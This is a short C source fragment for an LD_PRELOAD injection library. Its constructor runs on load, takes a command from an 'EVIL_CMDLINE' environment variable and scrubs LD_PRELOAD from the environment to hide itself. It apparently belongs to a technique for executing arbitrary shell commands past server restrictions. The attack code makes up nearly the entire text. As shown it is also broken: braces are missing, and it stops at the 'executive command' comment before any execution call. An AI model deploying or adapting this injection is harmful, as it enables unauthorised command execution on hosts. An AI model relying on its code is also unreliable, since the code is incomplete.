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#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
// executive command
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